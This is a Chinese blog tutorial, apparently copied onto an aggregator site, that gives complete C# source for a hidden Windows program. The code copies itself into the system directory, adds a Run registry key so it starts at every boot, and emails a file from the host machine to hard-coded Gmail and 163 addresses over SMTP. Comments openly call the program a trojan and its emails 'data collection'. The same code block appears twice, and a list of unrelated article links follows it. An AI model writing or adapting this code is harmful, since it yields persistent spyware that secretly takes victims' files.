C#实现自启动及带附件形式的邮件发送
来源:互联网 发布:swiper.js 内容滚动 编辑:程序博客网 时间:2024/05/24 22:44
一。新建C# window应用程序项目mySmtp,设置Form1属性WindowState,ShowInTaskbar为false,实现窗口隐藏,或this.visable = true也可实现隐藏。
二。在program .cs中添加代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Net.Mail;//添加的命名空间
using System.IO;
using Microsoft.Win32;
namespace MySmtp
{
//自定义类及函数
public class myfuntion
{
public static void movestart()//实现移动并自启动
{
string sys = System.Environment.SystemDirectory;
string system = string.Concat(sys, "//mySmtp.exe");
string starupPath = Application.ExecutablePath;
RegistryKey key1= null;
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
File.Move(starupPath, system);
}
catch
{
MessageBox.Show("移动失败");
}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run", true);
key1.SetValue("mySmtp", system);
key1.Close();
}
catch
{
MessageBox.Show("修改注册启动失败");
}
if (key1 == null)
{
try
{
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key1.SetValue("mySmtp", system);
key1.Close();
}
catch
{
MessageBox.Show("修改注册启动失败");
}
}
}
public static void sendsmtp()//实现发送邮件
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add("xujuntao0000@gmail.com");//发送到可以添加多个邮件
msg.To.Add("xujuntao0000@163.com"); //这是我的邮箱
msg.From = new MailAddress("a@tom.com", "Alpha", System.Text.Encoding.UTF8);
/* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/
msg.Subject = "这是木马邮件";//邮件标题
msg.SubjectEncoding = System.Text.Encoding.UTF8;//邮件标题编码
msg.Body = "资料收集";//邮件内容
msg.Attachments.Add(new Attachment("c://1.txt"));//附件为宿主机文件,这里可以写出许多别有用意的东西
msg.BodyEncoding = System.Text.Encoding.UTF8;//邮件内容编码
msg.IsBodyHtml = false;//是否是HTML邮件
msg.Priority = MailPriority.High;//邮件优先级
SmtpClient client = new SmtpClient();
client.Credentials = new System.Net.NetworkCredential("xujuntao0000@gmail.com", "*******"); //这是我的邮箱
//上述写你的GMail邮箱和密码
client.Port = 587;//Gmail使用的端口
client.Host = "smtp.gmail.com";
client.EnableSsl = true;//经过ssl加密
object userState = msg;
try
{
client.SendAsync(msg, userState);
//简单一点儿可以client.Send(msg);
MessageBox.Show("发送成功");
}
catch (System.Net.Mail.SmtpException ex)
{
MessageBox.Show(ex.Message, "发送邮件出错");
}
}
}
static class Program
{
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
public static void Main()
{
myfuntion.movestart();
myfuntion.sendsmtp();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
二。在program .cs中添加代码如下:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Net.Mail;//添加的命名空间
using System.IO;
using Microsoft.Win32;
namespace MySmtp
{
//自定义类及函数
public class myfuntion
{
public static void movestart()//实现移动并自启动
{
string sys = System.Environment.SystemDirectory;
string system = string.Concat(sys, "//mySmtp.exe");
string starupPath = Application.ExecutablePath;
RegistryKey key1= null;
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
File.Move(starupPath, system);
}
catch
{
MessageBox.Show("移动失败");
}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run", true);
key1.SetValue("mySmtp", system);
key1.Close();
}
catch
{
MessageBox.Show("修改注册启动失败");
}
if (key1 == null)
{
try
{
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key1.SetValue("mySmtp", system);
key1.Close();
}
catch
{
MessageBox.Show("修改注册启动失败");
}
}
}
public static void sendsmtp()//实现发送邮件
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add("xujuntao0000@gmail.com");//发送到可以添加多个邮件
msg.To.Add("xujuntao0000@163.com"); //这是我的邮箱
msg.From = new MailAddress("a@tom.com", "Alpha", System.Text.Encoding.UTF8);
/* 上面3个参数分别是发件人地址(可以随便写),发件人姓名,编码*/
msg.Subject = "这是木马邮件";//邮件标题
msg.SubjectEncoding = System.Text.Encoding.UTF8;//邮件标题编码
msg.Body = "资料收集";//邮件内容
msg.Attachments.Add(new Attachment("c://1.txt"));//附件为宿主机文件,这里可以写出许多别有用意的东西
msg.BodyEncoding = System.Text.Encoding.UTF8;//邮件内容编码
msg.IsBodyHtml = false;//是否是HTML邮件
msg.Priority = MailPriority.High;//邮件优先级
SmtpClient client = new SmtpClient();
client.Credentials = new System.Net.NetworkCredential("xujuntao0000@gmail.com", "*******"); //这是我的邮箱
//上述写你的GMail邮箱和密码
client.Port = 587;//Gmail使用的端口
client.Host = "smtp.gmail.com";
client.EnableSsl = true;//经过ssl加密
object userState = msg;
try
{
client.SendAsync(msg, userState);
//简单一点儿可以client.Send(msg);
MessageBox.Show("发送成功");
}
catch (System.Net.Mail.SmtpException ex)
{
MessageBox.Show(ex.Message, "发送邮件出错");
}
}
}
static class Program
{
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
public static void Main()
{
myfuntion.movestart();
myfuntion.sendsmtp();
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}
- C#实现自启动及带附件形式的邮件发送
- c#发送带附件的邮件
- C#发送带附件的邮件
- C#发送带附件的邮件
- unity3d实现发送带附件的邮件
- JavaMail实现带附件的邮件发送
- C#发送带附件邮件
- C#发送带附件邮件
- C#发送邮件及附件
- C#发送邮件及附件
- 发送带附件的邮件
- 带附件的邮件发送
- C# 如何新建和发送带附件的邮件
- C# winform发送邮件 带附件
- C#使用smtp发送邮件带附件
- c# 发送邮件代码,带附件
- C# jmail发送邮件(带附件)
- winform实现邮件的发送(带附件)
- What is the difference between DHTML and the DOM?
- uva 401 Palindromes //字符串
- C#实现Cmd命令
- css特效
- provider: 命名管道提供程序, error: 40 - 无法打开到 SQL
- C#实现自启动及带附件形式的邮件发送
- c#关闭特定程序
- C#实现屏幕实时监控
- shell编程之基础
- C#发邮件与收邮件
- 全排列打印C++
- 高人
- BCD码与DEC码之间的转换
- C++ 智能指针(Smart Pointer)